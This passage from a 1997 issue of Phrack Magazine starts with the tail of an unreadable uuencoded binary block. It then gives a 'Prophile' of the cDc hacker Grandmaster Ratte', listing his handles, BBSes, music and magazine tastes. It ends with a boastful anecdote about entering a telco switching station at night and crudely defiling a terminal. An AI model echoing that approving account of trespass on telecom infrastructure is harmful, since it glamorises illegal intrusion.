M\;AHT=1B\5]6\>):,155D0Y[L!<?[Q=Y,1C_A?$02;$4=3$%:U$9:V,8N\P8d
E:X*>W$:L4_,K-'L5##D&G'Q4+$;M5'A*# <86X<9>X/O]$2I3$="1$1V1$[c
L#$*X=$<'449O9$?^_$>P24?+>,? 3(;T7$?+? (!1(?F1$7;9$!P3$7Z1'_b
M)K(A984@OU A%W((*9(CC2\9,3(C'U(/RU'_UO$C3W(+[7$DRZHDA\[=U X2a
M+]$@.](C77+V2-#J*M(B7V(.D?'H[- F6=(05\\)<]*Y=C+Q0#(DMS']G%)Qz
MB#(J?XX JS(I,0M:II(JZQ$([W!OMO(IBU(BQQ(K 1$6>Z8GSV\2!0\M4\\9y
MR=(J0U$HS?(9EY+W_]2R";UR)KFR:\+R*E%2_MR2;;S0)",2*N,2_=31!_]Rx
M,0\R) ?3+S525YKR*[LR,<5RJ1KS,F^R$"VS+G?J+C.O,C.S--O2'_.2+N52w
M,$&3P6"RYPY3#65S+D/0#3?3)_>R^"*S:0HS)A5S-N/Q-W%3"V]S+=DR,(>Sv
M-6-P-\]0.(,3,?GR,WDS-6MS-:W3.)7SM;22.JL3,W43-4G3,9$S-\4S.RE1u
M-"LD#U.3752$.5.,]:B3/9%2.7L3(^'']IX3,,TS-C70]3S3-.ES,B<+?F[2t
MJ<AS/P./@J 3%,L20>NS(0FT00W4.Q$T03NRO"BT0L\3&BLT0HUO0A=40_\;s
M44&!LSU%U"XYU$%_$$5 %#A/5"9+JS_^4S\=5$#]RD/SK45G]$5CKSME-#_+r
MLT9?$T)75"Y-E$?QK>,.]$B1-"N;M!Y)=#:9]$FS#,]^]#2IM S=,U=P5"QUq
M%$BS]#JC%$RG-$PMPD;'JDMI]$L?TTP=<TQI;3Y;\T$%4DV#E$W'TTW!5#6[p
M4QW+5$_[,T7WTTXYLT_Y%$ !]4TO=$<+=5#15#.+E#S_-%&=$TX#<U+UE$[Oo
MD5"3,PTQE5+#SU+_[%/-5%/9D5-AM%,;%505-<\:U%!YU%3#$55#,T5WAE19n
M-4.%<JHR!U>S5%:M$56!ZJ7:)$1SM2@W)=*&-4C_8?5%@14\5TU5\*987?18m
ME4Y:<1-;&W5+%>99$Y+,J!7_DO5 K?5:]2F?-,E7J=1;5?)PPA4[QU57R[55l
MQ36DXM583Y1=YS')T-4BM;5:YU55 >U=K>]> ;9#'U6F"+5?L3/JU#5@JVU9k
M(8M@FU5@151?BY%?[75:Y=1:R^A<-Y9&*_9B$U8J(XQB=S4SN;4F%PQE0]!@j
M&35?2Q8LVPQF-\UFVY15/_:84"I=.[8N,99E:4YB8<5E^_)8=_:0M".A?M8Li
M@S82:?58E(9A]Q1B&Q9DK_:5J#9GD_)I$Y%6:_4^S^YAK?8J'P0]P_955Q9=h
MO'80.95L+58OR]9L198[_^ V5F>6,"/N;AGT:',U:;<57[.V2=MV#Z/6T_AVg
M;ON6::TS<4EV2.L4]OC6<147<)D50P570PMW*#_P;BEW;BWW<JM6;@DW;_URf
M15ET:<E5<4=65/7O<X44;;,3;$EWRF#7:D.W;O-T<4L7<C=52E7J=B$V=W57e
M;9'6=*>347U5> .6>(NWY=96*Y&79V@W;D&1>>?5>9]W>REU<VVS6DD5>\M5d
M>[G7>@\52;T7#6F70KBJ*?XU9EF7?#6P=G>*^,07--,7#*/6)=R1I:QG:W>Wc
M;,D7//KW//X7,H_7=T]U;\&-: =79(>WZ!Q8::$W@667/FO6=H.I:746X-X7b
MD_^,5CJ==GI99F']A6+O%VE;]H2U)85'6(%G]619N%Q<N(-EV(M0F(.[EH2[a
MU<'LQ4'\DW4Y$;EFV!'A\V]Y6']3RF4_F&N%^,.8N(5U."?SET@GMHC-]XEUz
M+HII6(N7TXLGF$%SV(M)+&5_&%%!M8HCEV>1"F?)N TEL6=O]HV-6%"[MVA?y
M)X3I.$ES2W7A=8]%L8!5>$]:%( !V?':I9#]%E#5^'?Q"T7EV"<L"E2A)_ULx
MT.&B5WV3F#A!KRR:9YS0XIQ$]"IVAY0#:72Y\U<W60KWC3L^AY=DJ*"P\I7Aw
MJ(ID")7#,XU7F0E;.2,HR7ZDAT<]")AWHI=P>27'=Y?_B;"7?5EZJN**GE2<v
MGOF9M8(V^1-WE9DQ.]F326*:3_E%;R>(<&*<K]-5 ;F1%[B^)(*4O!F6P;DDu
MVGF0Y-6<]QB=8UB=(T*:R+F8HP=)]=ESJAF@!7J>4WE=LQFUF+DBJJ*98*B-t
MWKF4UZBDX)>>Z=B>@W6;#YFY\/F0+1I:<2^C-9IO0+JCOY4/!1FD<]G^[#B9s
```

```
M8=A1S[8_Z(JD*S>FD;%_9?I4#UIA<86 ,8^G\V,44?HE=\NGO>6 E;*E91:Ir
M@;;OPAB*CUJI@YJPGLZ/^QBHL1FJL;+SFG@MPP+Y@EHG V2K]:NK*W&FL9J*q
M\8J+(<6KO]HUNTJM7X7^M/BF_X<RK;&X5FRKK<&:1> :K]G:K"^X=UUK@[6Tp
MK/5Z0D!JG8#XN< XIR73KL_X2O[ZL!$;LA4[JPQ;@!V;-X_*D-%ULBF;2CK[o
MKI-(KI^8KFW3LI<8LZ4ZM!6DL?JZM#/[J@-;L(_$C>,XD%?:M9>3FW#[Z,@:n
MM;MQLQ_[0IKZ_#*EMGF[L*5V<)OZK!$6NG>8OYJ[@ QYN=WZ1JJ;7JY[KHE;m
M*E_ZI/_7IK&;WT(+DE_58[_;9#>ZO%/Z.'5VO6FVO=W[FBGZC87[:S&ZONV[l
MH)\TO]UVO_F[1^^;C '<< 5\P)VSP!M;NITVP14<OA>\>>5;;^D[PB4\.H7Xk
MP#GWPO\Q?(I7=W@K_'0]_,-#W+]M6[S3&,)-G*#?FY%'/'E%NL4SO,9AW,&Sj
MFL5I?*)1''UCG'IU?,>=^,2S]\=+.,B%O#/[N\AQO&N1/,D7&<3#E,._M\2Ai
M7,GA,GZ-G&,2^LI=')G5N\FI^,F]G%F7G*65>\K)O,RS^,S#/,U_=<W9G'ZKh
M=,.WO%OE?,[/5^<J^LX#)L_UO,LSFLK5%]#G7- YVL_9UM#9'-'/6=&WT\KUg
M?%6S'+!W.U,9O<P=O9XA76(RW<LWO<_%W"5#?=(AN-)!M].Y]-.OO-0-7-4Cf
MA]6AW-4;',[75=:3G-:]>]1'4M=-G<ZA[=5YW3YQ7<A]W<[_A]V*9_S71=B:e
M+?C2W?38F5W:+5W%[UC2F7W/ZUS+DWV-ESW;S1S5-;O;'?G;P;W-Q9VVH;U4d
MBWW'J3W5R3V=S?W<@3WW.#W>[QD/T3O*,3R\91"3OYK0E9B00:F[P9U:%;G9c
M,Q761<5FJ?IZZ5V*E15K45K@.=F51%6/IQU>,E[AHYWAR>:/(SO<<YWB"9ODb
MXQO?+YIQZ8C (OZX/7N,\!OD>:QA8YL%,QE]37[GD7OF5?Y[73Z'.);2*9N,a
M2-LXCUO$?[[0;>KH[1?E]=KAG3ZWB5Z5EW[@*1B')1[=BQZ/M;Z+J]Z@K_[Bz
M,=Z;W#CI/QQG?_OMI%[8;=T\SYY7_YI#[DWET&F8[J7$?[V^UM>]0W'X(OX=y
M\"-9V^O[M[TC\.^*6'W^[6<W1E,WC^W>=A\_J/C>VF/5A+ .[?L=\\M9\]&\x
M[U4TD1S7\Q7\[%6.])_=\IU5Z!L7ZML:MQ,7]9%X[%GYZY?4]0/>]C-4]E.>w
M\3%8HSP7]Z/:[&F,]W69]GG9\1$;\AL]1A7,^+N7YJFKUQX6^K%[[0G?N84?v
M;Y%_F6],7:V_B*S5G$0?2X<FYS53^B]LR9;WV4S9=II'HD<Y_E_YDT7YZ<U_u
M[W?=]^=TX' UZ0'BPX=_! <6)(C0X$&$#!LZ? @QHL2)%"M:O(@QH\:-"14:t
M5+B0(<B( /\DELQXDB/!E"0ALE0),Z;,F31KVN0((*?.G#=[^OP)-*C&EPV)s
M6C2*TJ1+BB ]+FPJ-*K4J50=0OWW,63"BDA7;NQZ$>P_I&*KFCV+%NW.G6G;r
MNGT[$VS9M2G+(J1[M^5#NP*M8OU[%:[@P6C[B@3\M^'(I7I-KO4:]O%8I7L)q
M6[Z,V3'>S)P[3Y4[D:A=AJ(IDKTHT.G U8<]NWZ-,?5!UB,7,[Z-&W)8AW-Sp
MP_X-_"9=GL&+&P]-V;=NT\I)-V^]%3'KZ,>K8ZXM/3%UY(TK>^?Z?+ESZ^3+o
MDQQN/OUOT,]'=Q5[>J+AIQX#J[]/=3[@^HJ/)N?=W7]%<0<@?@;_&C?<: <Nn
M&!5[!0;X77CQ2;2:;-359R&#&M)4X7Q.0<<<A.(]*.)XS2FX88I5):ABBY\)m
MF!>,)$8X8XPNWJBB@P/*N&.)(_Z(8Y -HB=DD7%I1B2/-OHXH9%.EB=7@O"%l
MZ.-D-#Z))4TL9LDE>$-1*:&4.H7799F6H;CDE362)B9Q:YH)IVE)QADGFD"Fk
MJ::)&-E)9Y]!\3DE@60.ZB>=6Q9:)J""DJDHHHZJ]=6B>>+IY:./'FKIDWQ:j
M2:B.NV4*JE";>BIAI*$6BNFI06XZEF@*NGG7J*K.:A.KL*[TJJLXT6KHG+RVi
MR"JNP@YUTJU)_8JLJ2H19RQ7Q08;;+(&_Z8J+8/1#KOLM==6"^JVS>ZI+;=9h
M4BLN?ML2=FZYB*8K&+OJ%D?NN^:Y^Q:]\III;UOYWNM9O/Q6MR^D_Y8;\%D%g
M#WRFKP@#;.["W!Z\HL,Y*BQQ<!!3=7'%*68L%<<:F^7OQ_TV+#*M'HM:\H$Af
MIXS9R7^RK*K+0,D,LT\KUSP8S3;CW"W)/)-W\\]NZ=P3T4*OY_/1"%*L-%Q&e
MU]HTJDE'O1[35*?U=$U97WW9UD=R7?5F8-<;D]C@LK7LV/B6+1E*;2NK=F=!d
MQSTS3*7M^6:E=&MJ=]Z^V;JWW%8'_O*ND[XI*^%. GYXCX[CK7C7@T=>M.&-c
M4WJGI)0#:[G?>O\^_NGF[4XNNI9P7Q[HL:6[V&B5F7,*^>I#DRY[WU\JB7GNb
MN-=^7^N#IAX[[P;3+OSMJKO>V_'%JWRZY[!?#OWRPA$OO7_&(P^F]=5/VSSHa
MGON^O:C4A[\[H]D['SWY2%^/NN;GJU_T^/"C__W[GVL_/]#=WU\_^_G7*K__z
MO:Y*=B&5W@2(H,ZASX#V0Z#= BA 6^GJ*!/TGP/7]Y4*RHDWB;N@EB#XOVB9y
M+3)H4Z '82/"MY%P3&D[85Q F+]SA:ML+K38UVB(PQH^<(0Z]-[^@F?"'F;&x
M6S=LH1 SR,,C/L^(3 RB$M%5Q";^\(GG2>(192B3&5*Q95%T(A"W&!K_&,X/w
MBSF4(AB=UL4IXN^,2"KA%LEHNSBRL5UIM*#RYK@7,<(/CF:\(QZQ5D<_"O*/v
MN+*B$/GHQ= 14E^!_*(=%SDW#R)2C0=<I,$:J<A$_C&2%YSD(S-I29!A<HV4u
MG",G'>C)08(RE!@;924_N4D]JB^5CE0E*PM7QC[6$I*R)!\M5VG+6_Z$B%DLt
MIC +J<(G_I*4L#QFY8R9RU*R\90(7.8K@^E,J$%3CIK$(S4C:+IH-C.;6G-Es
M X')2T/VT)KG9"8Y=[9-7:*3D-\,83BY*<UWBG.<[;QF.I.I1':Z;Y?Z+&<\r
MN]E/4_8R? (M7T(+BL]\.G2@]%SH]AKJ.G]"_]2<%)VG.__I1BIBE% =W6A$q
M^5G2AYZQGC&\ISP_*C260HFC$ZTI&&6Z1Y<B-*4P$U.1B+E/@L92G3H<:?KRp
MZ#4_M>FG-,VH9K*)TUGJ5*)L(FK)VO2M#0'UI&&TZDHM6CVCTJ\H4E(:5I/:o
ML::2M*I@C6!;ER=6'[;1JQH[JY"V^E*D1K63;RU>7/DWU[XBRZZK4NM16[74n
M4.Z5H5-%*3+/"MG(2G:RE*VL92^+V<QJ=K.<[:QG*<O*Q5ZTL=ADJT]_1E@<m
MX76GL4JL)44;5M(*E8-8/5IM"WM0JJ86I"R\J6P]2EO7HK:L=S7L6!\+VQ@*l
MEG=_U9U>B6O6Y;IFM?^ZO>UKI2N[Y@XPN,DE&$!99URYND2XO,WJ.G\+TRIBk
M%TN]S2OG<NM8Y(:TO&AMFG:7N$+S_DJF];TD?$O+W?[NK;M^16]7V7:OTU+5j
M6N%%;'O/!M7UEDZL_$VP@@&LU?"R5, #EK#HC'IA#(=JM\!];U"["D(.TXW i
MP@-QB$L\*Q*G%[S_#>Q\9ZQ0NDK2P&0E+XYC;-W9FIBKZH6ND*?IX<V-]+-,h
M;K*3GPSE*$MYRE2.[(*5F63*+3G(,(X9EW^\,;7*6*-#_>XA>6S:;ZH8:%\Fg
M,XU//%X?NSG'9CYO4\>LTE.U><XY$O.>>?I5'7<2S:U],9^!O&$N41?%1N[_f
M\DVS'+DM&_K0)JLSI36T:$9#<,UJ8S%S"5UH08LW49:.<XUOE&E-W_C2(H6Te
MXK2EWR*+T%'UU"+?V";!58/YT:*NY@Y+C=13CZO1NUYKAK/5:^>R&LO)MB=.d
MB%WLP]X5VGDV-J:1G6)ATUG7=B86M:LM;=7*&=!.[3,2:ZUM)#>[I=Z>-+FMc
MO:IQVQ3>"P+4G^<=[H"ZFG#VKK*__PWP@ M\X 17<[H##>P3]EO>Y<8WJO'<b
M\(A?N]W?=OBHO;GOP"W<W1+/-^L83N^+#SF_!H<SQM<]QG-S/.2 [=*]6:[La
MD5,0Y##?KKH3OF.*EYS(PUZYQV-N;K?1_.<V1SBW_XOZ;)\3';_XJGC'CSMQz
MG2?;UK?T=.URG6V36P?EZZ:ZD;#>;*\K-N,#QO6#1;QTSN!4[&BOM]EC;?&6y
M5Q3EL\0Y!P_^]-<H/>]RC[;*[$Y6O->\J&3O- S9?F1X[7WIB/]XV!M<=%X#x
M7KGHUOJ[4?ARO@,][NE9?-_]+O*;'UV23M=\Y ??LLP/OO$;\_SF.7_Z5M,]w
MK$.'.N/_7GO;ZS[TN'<]T]O.>\F/'I4%+[[QCX_\Y",_OJN/\.SA"G'3_][1v
M8?-]['?_>6NI/OC2Y_38K*[EZ#??\A;;/O9?C_KCB#_MK#_YY/>8^^Q?_OQJu
MCS_W;_]3\Z-__,<$?_BMW_]^X(9Y%49^T@<P^G=]]#=]939\U61_"2A_L-<Ot
M[W=_"NA]-O. J09Z5U1X8&-]"[AL%:A^@H=_7U=Z[$>"S$:!8[2"("B (IA s
M!<A_B[."&AB"'/A\C 5Y+CA_(RB#)7AK/PB$5=>!G09J,WAL/'>#^^=V*6B!r
MSM>".;6# =AY3AB!!C@O.\B#$EA#_C=A1SB$4>=>/7B%8CB&9,B$^I:#HS6%q
M5@@O;@B!:<@]<!B'=4AX:QA;;2B$/JB$+UB&#$:'6XB%"E>$WP>&3RASS(>(p
M[*6%5&AT9Q=0APB#<OB&>_B'"EB%@>B(P@>)5R2)ESB)-F2)E&B'F3B*I"B(o
M;U3_B![XB:AX@:>8BF'(5)H8B"[DA1_6BG;XBGV(AKJH:(U8BX2(A])S7YNHn
M/[!HC( (B[&(B;:XBE<S=>\7C0UXC+PH@;N(@9TH)]289CKG3+<8:?)S2N/Xm
C,-$A\DX+;U&CH(&CL18CM$528LGCR>X=><8C.K'2?,X-Q]XAU%X4?18>P')l
MCRADC\MX@ "Y=P))CRK(C917>NL'D0@HBM;8?29(<Q%YD1+9CPW)@CZ'D1ZIk
MD1B4=#M$DM.6D2<)D@^XD=I(>B\'6:HV.2]I+N)(DZ+6CDZ3>1_YD"'IC,.8j
M7>(GD[*V,D'9>0NIC]0SD(J'DCNYE#=Y=>\84TU).CKI_Y1_DI!7B9 +.2\Yi
MR952Z9/P]Y6KTY4I299:.5UCR91E695J@98W0Y50&3=K^7U#IWIUJ9+UYY6Eh
M]I9A.418>8)MR9>^!)?#%8]&:9ARF8UJ.96 &9BI-SY'25=)*8S^R%#2:)D<g
MZ6!PIY2*:55[29F;.2J7R9)Q-IK;5IHFY5UY.7J>B9FH>56#Z9K:IYJER9JGf
M&9LU@YBW&6]*9Y>\>9>Z*3&Y"9P/5YC%B91F.9QU!9O).9,V69. )YS,N2[+e
MR2VIX2'6V1?8*1_6V1'Z41"RT2%8X9W=^9T=@B'D&1'<:9X?<9Z"@YG3:)L]d
M%I_2^3'1B3 ?HAV)@9\0@9^VT?\46:$5?G$A KH=!"J>(<&>!4J?"YHSU%F=c
M YJ?]D&@^QF@^EFA BJA%IJ?_<&A'S(=ML&@(8HU#EHM_9DA$4HA)[H8((H8b
M%3$=%4H;&PHB'&JA +I(VEF>ZLF=VYDA.]J=M)&=XXF>X-FCU\FBZIFC"5J>a
M(42BTN*C&JH5+*H=A@$51_JB\D&CV7&E-+JC/IH54@I&_=D:%/H08IJE5*J@z
M9ZJ@V,&?(F&F'N)6C<DS-HJB==JFT5&EZ7FA9:JF,7JD7(J@L\%*;PHB8&JFy
M:_H4+AJE&+JG*PJA'QJGG\DUAPJEACJFE]H1@<H4?<H?>@JAE0JFL>&EV+F>x
M3#&JWHG_I$1JI>QIGN@IGJOZH5W:GIQAHOJ1H8JAHEG:'Z&Z%1GJIW<*K%^Zw
MI_\HIS5C(4&JG3B:GCA*JA@RJU)ZJEV:IKAJI$DZK1Q!J38:JI0:I=J*I9]:v
MH'^:J9H*IY[QI'1ZJ]"!IN-:IEM*(7V:'7R:HS^*IS(JF,4JHJY!J-MAJ9J*u
MJ%#ZKG9:K_8JHX1*IYF!KI@ZK(L:H>+*JP&:IS$JK_Q*K@1+K)*:K]51J_9At
MJ+DZHX?QL"T*H_%JH!,JJ!8[&-GJKYZ:J+WJIBL;L!1[G2QKI]H:LD^)KQE+s
MJQ[+L=]ZH V[K"BKJQ$KLEQ:I.7JKI9QK.N)K$)*K4O+K$=[_ZWSFJ3K*K3Gr
M2J5>&JFMJ;/ID; #N[!U^I^>&K)L*J@26[)7X:%"V[7[U:1M>Q,J.Z6;"K9%q
M:[4/:[;[P:X&&A@V"[?O8I]_.Q5+^ZHZ>J+\&;6)^ZP\ZJS'.K6%ZZ:L6JZ"p
M^S!O2[F7B[EO-Y^9R[F=.X 8Z[FA*[HK8KFC:[J>&[BGJ[JK*U_8R+JOJ[.Io
M"[NSR[FR2[NW*[BVB[N[&[NER[N_&YNZ"[S#RYS"2[S'>YO&B[S+NU'*R[S/n
M2T[.&S6'"Q2UX;1&0KWDD;V6LKTV<;C=&[V^BS/62Z2NVJZH*J0WJR+D&Z3Fm
M^[+LFKY-*ZO)^J1A6RCLJZ2ONJRV^O^OJ"F]3>.?[\NVXJJK6!+ \)NBWXFKl
M @RI<PNV>1LJ!XS ,0NL]MM_XFNL$]NBVTJSCQLD$KS!"?RS+KNH +JVX,JVk
M?@+"(4S!&IS"PO2_2@/"#=S"'_O"+C+# .L7V:FP(_RQYQJNM++"-%S!)7O#j
MH87!,)/#(DNJ%)NFZILB2QRKTLK#=;ND__J?XPG%93+$)]O$#'NA6SQWH*L^i
M4CS A>K"!JS!PJJGZ-JC@*JF.GS$<-+%1;O&TRK&#+BY-;3$/ES!MYK'"]+'h
MUUNS8]JW? NS@:S&:;NW=^S 'GS!.5L[^*N_8=NLUFK#3D+);XRXK%K)X FYg
M5URUX>G#BOS_))1<R2A[R5\,R3"<Q"QCRC(1R_<QR]<AQ'!1R[)'QN0#OD'1f
MRQ],R,;QRRH<S-5;S)&\R]"KS!D;P\OLS.['M<\LS5W;S--LS3B8S->LS295e
MS=OLS<0GR=\LSF,<S>-LSA#5S>>LSM 7SNOLSNOTRN\LS_P6S_-LSX;7SO>Ld
MSV"9S?OLSPZ8S_\LT"U6SP-MT"F3S@>MT#U5T OMT B3T \MT0X3T1-MT?Q2c
MT1>MT:G9SQOMT5R3T1\MTI46T"-MTLI9TB>MTA#=T"OMTG 2TB\MTTV7TC-Mb
MT\D2TS>MT_E7TSOMT]W2TC\MU++9T4-MU(A6U$>MU)F2TTOMU&S6_]-/+=4\a
MG=13;=4N%]17K=5]&=5;[=6]5\Y?+=8T7=5C;=:8EM5GK=:?D=9K[=8ST]9Oz
M+=< U-5S;=>24]=WK=<XF==[[==LV==_+=AL'=B#;=AP7=B'K=AT7=:+[=BDy
MF]B/+=DJM\>3;=EXW=B7K=E:$]>;O==-[=F&#=JA+=BC3=I^;=JGK=>IK=IVx
MS=JM+=>O#=MN+=NSK=:U;=MFC=NY+=:[S=M>[=L%A;X0G,H*_-ND%MFWQ,H<w
M8L3?V[_'S5Z=[4*Y',1%/+30K6C2?4+L>\6_G*X+2]S8;9*9G9R=6K&*VJM:v
MW,%S+-Y@7=F7V[?+?<P;.KF-:MWM39SD[?^:AQRT%M&S-@RBU(W?Y9?<EE3?u
M_(VW<-R_X3W@P*+="$2]\RO*ZZVBT8JJ#4[58:W, F[!&)Z.!2ZX\^W?'.[At
M9PGB)>[:#X[B0QW<*^[3+>[B.@WC94SB=%O Q5&V^HK>[MOA/Q'A(E[#L6&Js
MWCNTPWW?A*G?L;G"K;SCF0P<#,[>9I'% OO$WINU')S&&T'*P\RK2^[?YGNHr
M*UKCU3+C99SE49[E8YX6:EZ]$^RSONSDF6S*^YG+7F[C>.S"28OD&@ZW%?*Cq
M1EJ^WQO@$VNK%5[HVSG"]2OHU?KGLQJYC6NJA2ZY?KRRCAZN6KSH"LS)"!KAp
MUJVC[DOGCQZY5N'_YWI;M7^>QH/.R&P^6"K^/W?KZ:&>YC\LYD9LR,;MK]P*o
MY=8+LG'^R"=\L+P^ZXP,QOE[PL3.MWE:W:=>RM>=Z-X:QP!.ZM/>P_"8Y/N-n
MPL]]QL3>P-VNRH;,K+O:P@0\RL6]WO2MH>'MW+:>KMB!X(_.X%F,I"/KQ)>,m
MQI]*IMUKYY@.L[;EZOG#K=J.Y===Q7[^I7K.L*I.PD5,[JI,R%ULPM$.QM*.l
MY[W^J$Y<\?;=QW(L\6&^O^Q^[I(+Y"A][:@IMRAZX([:W$J:M<9]Z+=>[/CNk
M[!-?PH5JMOOZM7L+R'F.\3G?[+ANW_=.Z7DKZ]4]N:$NH0H_I7Y[XWO^_][Pj
MC:ST*NK[H>[#KK;5[I]7JNA&CNI27[C<_?4WGNGZV[X0&\IAC\EH/^'=?>5Ki
```

```
M6O;*JO9G;Z]3GLI86^'Z&?54"_<P>JK42NHC7S%ESD8W:^=1P>HXKL)G3N0Uh
M<?CV]>]X5+\A7Q61SR6-'QR13^*4#Q.6[^\G'N-K+?B?[]*A+_HJ3?H S_EOg
M ?@NVOBKGQ\7?K[?'1.I'^F*SXF:Z;GVCN9^?[",/^):ZQ,-+ZK ;_ACV^1Sf
M?^3'W_2X[/?7Y?F0W[*[C^MDRMQ?;L6^G_Q-WOO&#/1O?NZS?QR%?_NNNT41e
M/QMB_O#@#K5^;/<BWZ^)*NFE?+1JR[]/^_XU2O^^FH[I#Y^_YE[%Y@X0_SX,d
M'/C/($&#"04B/,AP(<$/"ATF9%AP(L2("B46?+@QHT2-!T..)%G2Y$F4*56Nc
M9-G2Y4N8+P',I#DSYDV<.77NY-G3Y\^7'REF_,A19$FC%$ER)"HT8E*B*YTVb
M/#I4)-201:LB!6ERZL*J6L&&_3KRZ5.E8:EVU2B4K=JL:9>V36LTJERS;\7Ba
MY0O4[U_ @063K%ES\&'$B14O'NQ6H%R,29?:G=LV\D.(6T]BA$S78V;,125/z
M=DR:\E&W:"%?GFM1L^K7>65K'NJP--[4C^N.KEQV:^G;C(4/)]ZS,,WBR94Oy
M9^[3\=[@<;O>?C[;<TK_X'QS2U<;/2OOMYUU*RWK'>3=W+['A\=M?:][NNHGx
MRI;/?GUS_/F9'[>IW_]_ (NK[C?[UD*-K>SJFJY VL;;3B\'Q3)//>X0%,\Ww
M"MN#2S?)$JS00;(TU$Y!$ANTC+L'&0QP119UX@^ %F.4<<:@H++(1O"NNJ@Bv
MSC[SL;;H0&OHK*:$Q*PVL)C*,;3-=B02R8ZB'#(X'D5+[:PIG1*RQR$]&NM(u
M(+4LLDLNO2+M,RN7I'%--O]YL4TXXY1S3CKKM/-.//,TCC\]^_3S3T #%710t
M0@5]LU!$$U5T448;=?11A0Z%=%)**[7T4DPSW?,X33OU]%-00Q4U3TE'-?54s
M_U135755GDIE]57]S.MK)UGG@_567"UU-5=>62HS**E^LA7%7HLU-M%=CU66r
M6#AE57%9:*.=,5EIE7T/M"J[1!-*+ZD:UCKLJA5WW!BI)9=7";^J3\380C3Qq
MNG#/E7?>_?BDU]@M6>.PPF_7S?!#,^\5>.#$S"4XU;ON6Q!>;@E<^-UG9SUXp
M8HIQ,KAB4:'3R\/U4@31X<V^N\Y9C$LVV4U[3SZ51R 99O+E++N-\MN8M?M5o
M99Q5OCAGGGOV^6>@=@9Z:**+-EHCH8]6>FFF*TZZ::BCECK:IZ>V^FJL4ZTZn
M:ZZ[]IK2K;\6>VRR_PR[;+335IO&L]=V^VVXE6L[;O^ZZ[;;K[GOUGMOOE?*m
MNV_  P?\;\$+-QQNP@]7?'&Q$V?\<<BE=CQRRBLG>G++,]?\9,PW]_QS@3L'l
M?732I16]=-13S_5TU5MW_5367Y=]]DQCI_UVW!NU/7?>>P]T=]^#%[Y.X(<Wk
M_OAI4T9^>>8++;YYZ*,G[GGIJ[=>,.JOUW[[G;+G_GOP6?(^?/++#VE\\],Gj
M'WWUV]^>???CEQY^^>M?GG[[\Q<>?_W[SYU__P50=@ 48 %31T #)A!T+V)@i
M QWX0 A&4((3I& %+7A!#&90@QOD8 <]^$$0AE"$(R1A"4UX0A2F4(4K9&$+h
M7?A"&,90AC.D80UM>$,<YE IASOD80]]^$,@!E&(0R1B$8UX1"0F48E+9&(3g
0G?A$*$91BE.D8A5!&)  .U If
 e
end

----[  EOF
```

---[Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 04 of 17

-------------------------[PHRACK 51 PROPHILE

--------[Grandmaster Ratte’

----------------[Personal

Handle: Grandmaster "Swamp" Ratte’
Call him: Kevin
Past handles: KP Neato Dee (local BBSes)
Handle origin: from playing around (and falling in) a swamp all the time as a kid
Date of Birth: April, 1970
Height: 6’
Weight: 155 lbs.
Eye color: blue
Hair Color: brown
Computers: Apple][(plus/e/c/gs), PC (8088 laptop/’286), Amiga (500/600), Macintosh (Plus/7200)
Admin of: Demon Roach Underground BBS, The Polka AE from Sept. ’85-present
Sites Frequented: Not much really. Mindvox can be pretty cool and interesting. I used to regularly call boards like The Works, Digital Logic’s Data Service, the various Metallands, Speed Demon Elite, P-80, Kingdom of Shit, Ripco, The Metal AE, Dark Side of the Moon, The Missing Link, etc.
URLs: www.l0pht.com/cdc.html, and the new www.cultdeadcow.com
Email: gratte@cultdeadcow.com

----------------[Favorite Things

Women: that aren’t crazy, freshly-scrubbed
Cars: ones that run, muscle cars with lots of chrome
Bikes: BMX 24" cruisers, Schwinn Stingrays with metal-flake paint
Foods: cheap. Sunkist Orange Slurpees.
Music: 1970’s funk and soul, rock, hip-hop, hillbilly country, reggae, dance...
Bands: Run-DMC, Beatles, KISS, Marvin Gaye, Suicidal Tendencies, Black Uhuru, Public Enemy, Stevie Wonder, Rolling Stones. Zapp, Parliament/Funkadelic, Grandmaster Flash & The Furious Five, Dead Kennedies, Black Sabbath, Carpenters, James Brown, Metallica, Sly & The Family Stone, Lynyrd Skynyrd, Jimi Hendrix, Slayer, Minor Threat
Instruments: Fender guitars and basses, Kurzweil K2000 series synths
Computers: Apple][s and Macintoshes
Movies: Star Wars, The Manchurian Candidate, Krush Groove, Apocalypse Now
Comics: Peanuts, Calvin & Hobbes, Bloom County
Sports: Ultimate Frisbee, bicycling, wandering around outside, climbing trees and rocks, boating with inflatable life rafts in drainage lakes, club dancing
Books: _Foucault’s Pendulum_ by Umberto Eco, The Bible, Farrah Fawcett’s biography, and _Understanding Media_ by Marshall McLuhan
Magazines: Tons... 2600, Grand Royal, Wired, Macworld, Barely Legal, Thrasher, Big Brother, Ride BMX, Urb, Guitar Player, Keyboard, Cool Beans, Might, Stress, Slap, Crank, 4080, Cometbus, EQ, and whatever else I can get my grubby hands on. I really dig magazines. Uh, and Phrack!
TV: The Six Million Dollar Man, The Simpsons, Charlie’s Angels,

X-Files, A-Team, Mod Squad
My Bands: Superior Products (bass), Weasel-MX (vox, programming), Jinx Unit (bass, phat beatz)
Quotes: "Fully equipped with an army of lawyers." -ad for Zoo York skateboards
People: Evel Knievel, Boba Fett, Mr. T, and the CULT OF THE DEAD COW Multimedia Superstarz!
Misc: thrift stores, huge shiny belt buckles, phresh new laces in my kicks, playing shows with my band(s), exploring buildings, big trees and rocks
Turn Ons: energy
Turn Offs: pretentiousness

----------------[Passions

If you can't tell from the list up there, I'm really into music. It all started when the neighborhood teenagers would let me sit around with them and listen to the hard-rockin' soundz of KISS and Led Zep when I was a little kid. So my mom (bless her heart) under their advisement, bought me Led Zeppelin _IV_ and KISS _Alive!_ which I took to kindergarden class and was reprimanded for. A few years later my grade school friends and I would spend hours sitting around a cassette player making "radio shows" with our Saturday Night Fever soundtrack and various 7" singles from K-Mart. We were rollin' with the phattest mixtapes at age nine, fool! Somehow this led to MIDI and drum machines and CD burners and now I spend tons of time recording and sequencing and playing music. I do a lot of recording for the local punk and hip-hop groups and it's hella fun. The back of the building I live in is a small empty warehouse where we have all-ages music shows and that's pretty neat too. It's called MOTOR... If you're in a touring band, lemme know and send me a tape or whatever you've got.

----------------[Memorable experiences

Hmm. Well, this is probably my best story, so here we go: I found myself all alone at night inside a telco's switching station. Ooh, look... a terminal keyboard. In the dim glow of the red "EXIT" signs, that keyboard represented all my hopes for a glorious unification of the human spirit through the global telecommunications network. How could I best express my ...love... for this network and all that it represents? Write a poem? Done it already, hundreds of times. Every cDc file I've put out is a gesture of affection. So I did what any red-blooded American male wouid do. I dropped my pants, "threw jacks" as it were, and doused that human-machine interface unit with my Seekrut Sauce.

